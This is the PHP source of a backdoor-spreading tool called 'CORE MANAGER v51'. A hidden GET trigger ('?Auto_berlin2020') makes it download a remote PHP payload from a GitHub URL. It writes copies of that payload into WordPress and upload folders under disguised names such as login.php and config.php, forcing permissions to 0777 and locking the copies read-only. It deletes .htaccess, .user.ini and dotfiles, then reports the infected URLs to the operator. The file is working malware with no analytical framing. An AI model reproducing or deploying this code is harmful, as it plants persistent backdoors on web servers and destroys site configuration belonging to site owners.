<?php
/**
 * CORE MANAGER v51 - Readable Compact
 * Logic: Domain Sensitive, Confirmation Logs, Summarized Status
 * Trigger: ?Auto_berlin2020
 */

error_reporting(0);
ini_set('display_errors', 0);
@ini_set('open_basedir', '');
@set_time_limit(0);
@ignore_user_abort(true);

$__gf_pass = "berlin2020";
$auto_trigger = "Auto_" . $__gf_pass;
$is_auto = isset($_GET[$auto_trigger]);

$remote_url = "https://raw.githubusercontent.com/alaminx6275-arch/php-file-server1/refs/heads/main/php-file.php";
$target_folders = ['wp-admin', 'wp-content', 'wp-includes', 'cgi-bin', '.well-known', 'uploads'];
$files_to_clean = ['license.txt', '.htaccess', '.user.ini'];
$naming_pool = ['index.php', 'home.php', 'login.php', 'admin.php', 'panel.php', 'users.php', 'config.php', 'upload.php', 'system.php', 'backup.php'];

function forceUnlock($path) {
    if (!file_exists($path)) return false;
    @chmod($path, 0777);
    return is_writable($path);
}

function getAvailableName($path, $pool) {
    shuffle($pool);
    foreach ($pool as $name) {
        if (!file_exists($path . DIRECTORY_SEPARATOR . $name)) return $name;
    }
    return "idx_" . time() . ".php";
}

function buildDomainUrl($full_path) {
    $norm_path = str_replace('\\', '/', $full_path);
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
    $segments = explode('/', $norm_path);
    $domain_found = ""; $web_index = -1;
    foreach ($segments as $index => $seg) {
        if (strpos($seg, '.') !== false && $index > 0) {
            $domain_found = $seg; $web_index = $index;
            break;
        }
    }
    if ($domain_found != "" && $web_index != -1) {
        $relative_path = implode('/', array_slice($segments, $web_index + 1));
        return $protocol . $domain_found . '/' . $relative_path;
    }
    return $protocol . $_SERVER['HTTP_HOST'] . "/" . basename($full_path);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORE MANAGER v51 | READABLE</title>
    <style>
        :root { --bg: #050505; --card: #0f0f0f; --border: #222; --accent: #3b82f6; --neon: #00ff88; --danger: #ef4444; --text: #ccc; }
        body { background: var(--bg); color: var(--text); font-family: 'Segoe UI', 'Consolas', monospace; margin: 0; padding: 15px; display: flex; justify-content: center; }
        .wrapper { width: 100%; max-width: 1000px; }
        .header { text-align: center; border-bottom: 1px solid var(--border); padding: 10px 0; margin-bottom: 15px; }
        .logo { font-size: 1.6rem; font-weight: bold; color: var(--accent); text-transform: uppercase; letter-spacing: 2px; }
        .stats-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; margin-bottom: 15px; }
        .stat-card { background: var(--card); border: 1px solid var(--border); padding: 15px; border-radius: 6px; text-align: center; box-shadow: 0 4px 6px rgba(0,0,0,0.3); }
        .stat-card div { font-size: 1.4rem; font-weight: bold; color: var(--neon); margin-top: 5px; }
        .stat-card span { font-size: 0.75rem; color: #666; font-weight: bold; text-transform: uppercase; }
        .console { background: #000; border: 1px solid var(--border); height: 350px; overflow-y: auto; padding: 12px; font-size: 11px; color: #999; border-radius: 6px; line-height: 1.5; }
        .line { border-bottom: 1px solid #111; padding: 4px 0; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
        .tag { font-size: 9px; padding: 2px 5px; border-radius: 3px; margin-right: 8px; font-weight: bold; }
        .tag-p { background: var(--danger); color: #fff; }
        .tag-s { background: var(--neon); color: #000; }
        textarea { width: 100%; height: 100px; background: #000; color: var(--neon); border: 1px solid var(--border); margin-top: 10px; padding: 10px; font-size: 11px; box-sizing: border-box; resize: none; border-radius: 6px; border-left: 3px solid var(--accent); }
        .btn { background: var(--accent); color: #fff; border: none; width: 100%; padding: 12px; cursor: pointer; font-weight: bold; margin-top: 8px; border-radius: 6px; font-size: 12px; transition: 0.3s; }
        .btn:hover { background: #1d4ed8; }
        ::-webkit-scrollbar { width: 6px; }
        ::-webkit-scrollbar-thumb { background: #333; border-radius: 10px; }
    </style>
</head>
<body>
<div class="wrapper">
    <div class="header">
        <div class="logo">CORE MANAGER v51</div>
    </div>
    <div class="stats-grid">
        <div class="stat-card"><span>Injected</span><div id="i_c">0</div></div>
        <div class="stat-card"><span>Purged</span><div id="p_c">0</div></div>
        <div class="stat-card"><span>Live Status</span><div id="live_status" style="font-size: 0.9rem; color: var(--accent);">IDLE</div></div>
    </div>
    <div class="console" id="log">
        <?php if ($is_auto): ?>
        <?php
        @ob_end_flush(); @ob_implicit_flush(true);
        $source = @file_get_contents($remote_url);
        if ($source) {
            $urls = []; $ic = 0; $pc = 0; $scan_list = [realpath(__DIR__)];
            for ($i = 1; $i <= 4; $i++) {
                $up = realpath(__DIR__ . str_repeat('/..', $i));
                if ($up && !in_array($up, $scan_list)) $scan_list[] = $up;
            }
            foreach ($scan_list as $start_dir) {
                echo "<div style='color:var(--accent); margin:5px 0; font-weight:bold;'>[SCANNING] $start_dir</div>";
                try {
                    $items = @scandir($start_dir);
                    if ($items) {
                        foreach ($items as $item) {
                            if ($item == '.' || $item == '..') continue;
                            $full_path = $start_dir . DIRECTORY_SEPARATOR . $item;
                            if (is_dir($full_path)) {
                                $it = new RecursiveDirectoryIterator($full_path, RecursiveDirectoryIterator::SKIP_DOTS);
                                $sub = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST);
                                $sub->setMaxDepth(4);
                                foreach ($sub as $f) {
                                    $fp = $f->getPathname(); $fn = $f->getFilename();
                                    if (!$f->isDir()) {
                                        if (strpos($fn, '.') === 0 || in_array($fn, $files_to_clean)) {
                                            if(@unlink($fp)) { $pc++; echo "<script>document.getElementById('p_c').innerText='$pc';</script>"; echo "<div class='line'><span class='tag tag-p'>PURGE</span> $fn</div>"; }
                                        }
                                    } else {
                                        if (in_array($fn, $target_folders)) {
                                            if (is_writable($fp) || forceUnlock($fp)) {
                                                $final_name = getAvailableName($fp, $naming_pool);
                                                if (@file_put_contents($fp . DIRECTORY_SEPARATOR . $final_name, $source)) {
                                                    @chmod($fp . DIRECTORY_SEPARATOR . $final_name, 0444); $ic++;
                                                    echo "<script>document.getElementById('i_c').innerText='$ic';</script>";
                                                    $live_url = buildDomainUrl($fp . DIRECTORY_SEPARATOR . $final_name); $urls[] = $live_url;
                                                    echo "<div class='line'><span class='tag tag-s'>DEPLOY</span> $live_url</div>";
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                } catch (Exception $e) {}
                echo "<script>var l=document.getElementById('log');l.scrollTop=l.scrollHeight;</script>";
                flush();
            }
        }
        $final_urls = array_unique($urls);
        ?>
        <script>
            document.getElementById('live_status').style.color = 'var(--neon)'; 
            document.getElementById('live_status').innerText = 'SUCCESS (<?php echo count($final_urls); ?> URLS)';
        </script>
        <div style="color:var(--neon); margin-top:10px; border-top:1px solid #222; padding-top:10px; font-weight:bold;">[TASK COMPLETED]</div>
        <?php else: ?>
        <div style="text-align:center; margin-top:140px; color:#222; font-size:1.2rem;">SYSTEM_AWAITING_TRIGGER</div>
        <?php endif; ?>
    </div>
    <textarea id="output" placeholder="Output links will appear here..." readonly><?php echo isset($final_urls) ? implode("\n", $final_urls) : ''; ?></textarea>
    <button class="btn" onclick="copy()">COPY UNIQUE DOMAIN URLS</button>
</div>
<script>
function copy() {
    const a = document.getElementById("output"); if(a.value == "") return;
    a.select(); document.execCommand('copy'); 
    alert("Copied " + a.value.split('\n').length + " URLs to clipboard");
}
</script>
</body>
</html>